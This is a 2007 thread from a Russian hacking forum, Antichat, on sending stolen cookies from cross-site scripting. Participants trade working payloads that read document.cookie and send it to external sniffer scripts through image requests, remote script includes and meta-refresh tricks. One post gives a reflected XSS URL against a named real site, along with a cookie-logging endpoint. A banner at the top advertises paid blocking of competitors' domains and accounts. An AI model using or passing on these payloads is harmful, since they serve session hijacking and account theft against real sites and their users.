xSs как отправить кукисы на

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
xSs как отправить кукисы на

Страница 1 из 2

Опции темы

Поиск в этой теме

Опции просмотра

xSs как отправить кукисы на

16.02.2007, 21:13

Chakir

Познающий

Регистрация: 17.04.2006

Сообщений: 47

С нами: 10561307

Репутация: 14

xSs как отправить кукисы на

пробую так!

Код:

ssss"><script>alert('xss')</script>

всё ок выкибывает исправно!
пробую так

Код:

ssss"><script>alert(document.cookie)</script>

всё ок кидает куки!
пробуё так

Код:

ssss"><script>img = new Image(); img.src = "http://www.klub.h10.ru/snif/s.php?"+document.cookie;</script>

не канает!

как отправить кукисы на http://www.klub.h10.ru/snif/s.php

𝕏 Twitter Reddit Telegram Копировать ссылку

16.02.2007, 21:26

Robin_Hood

Участник форума

Регистрация: 30.10.2006

Сообщений: 238

С нами: 10279046

Репутация: 444

скорее всего стоит ограничение на длину строки

16.02.2007, 21:37

Abra

Постоянный

Регистрация: 17.09.2005

Сообщений: 375

С нами: 10866583

Репутация: 175

Исходный код смотри - что в нем получается.

16.02.2007, 22:03

Dagon

Познающий

Регистрация: 27.03.2006

Сообщений: 86

С нами: 10591280

Репутация: 52

попробуй так "><script src=http://site.com/js.js></script>

в js.js - img=new Image();img.src="http://sniffer.ru/s.gif?"+document.cookie;

16.02.2007, 23:24

o3,14um

Участник форума

Регистрация: 16.11.2006

Сообщений: 230

С нами: 10254549

Репутация: 227

дай линк на сайт.
очень часто нужно писать +escape(document.cookie);

17.02.2007, 00:39

ya_mag

Познающий

Регистрация: 18.01.2007

Сообщений: 63

С нами: 10163605

Репутация: 27

может и мне кто поможет? нашол вот такой xss
<meta http-equiv=Refresh content=0;url=javascript:alert("OK")>
пишеш
<meta http-equiv=Refresh content=0;url=javascript:document.cookie> показывает куки...
делаю ссылку на фаил js.js на снифер ничего не приходит

ссылку делаю вот так
<meta http-equiv=Refresh content=0;url=javascript:http://my_site/js.js>
и вот так вот пробывал
<meta http-equiv=Refresh content=0;url=javascript:new Image();img.src="http://my_site/s.gif?"+document.cookie;>
может я неправильно ссылку ставлю?

Последний раз редактировалось ya_mag; 17.02.2007 в 01:21..

17.02.2007, 00:44

GreenBear

наркоман с медалью

Регистрация: 07.05.2005

Сообщений: 3,704

С нами: 11058146

Репутация: 4536

без javascript в url
и на хтмл страницу со скриптом

__________________
Фреймворк для спамера :(
Услуги программирования

Последний раз редактировалось Green_Bear; 17.02.2007 в 01:29..

17.02.2007, 01:25

ya_mag

Познающий

Регистрация: 18.01.2007

Сообщений: 63

С нами: 10163605

Репутация: 27

Цитата:

Сообщение от Green_Bear

без javascript в url

без javascript просто открыват внутренность того чтонаписанно в js.js

17.02.2007, 15:11

Chakir

Познающий

Регистрация: 17.04.2006

Сообщений: 47

С нами: 10561307

Репутация: 14

народ вот xss на апорт.ру а как сделать чтобы она кукисы на http://www.klub.h10.ru/snif/s.php отсылала? логи смотреть тут http://www.klub.h10.ru/snif/log.php
помогите кто поможет таму +
кому помог я тот мне + =)

Код:

http://sm.aport.ru/scripts/template.dll?That=std&r=%22%3E%3Cscript%3Ealert%28%27XSS_by_Chakir%27%29%3C%2Fscript%3E

#10

24.02.2007, 09:00

VampiRUS

Участник форума

Регистрация: 31.12.2005

Сообщений: 231

С нами: 10715512

Репутация: 366

подскажте как провести xss, если все что идёт после "/" режется?

Страница 1 из 2

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Как стать хакером!	foreva	Болталка	19	12.12.2007 00:12
Мой ржачный разговор в аське с кем-то вроде как с античата, как я подумал	Дрэгги	Болталка	21	22.07.2007 12:33

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход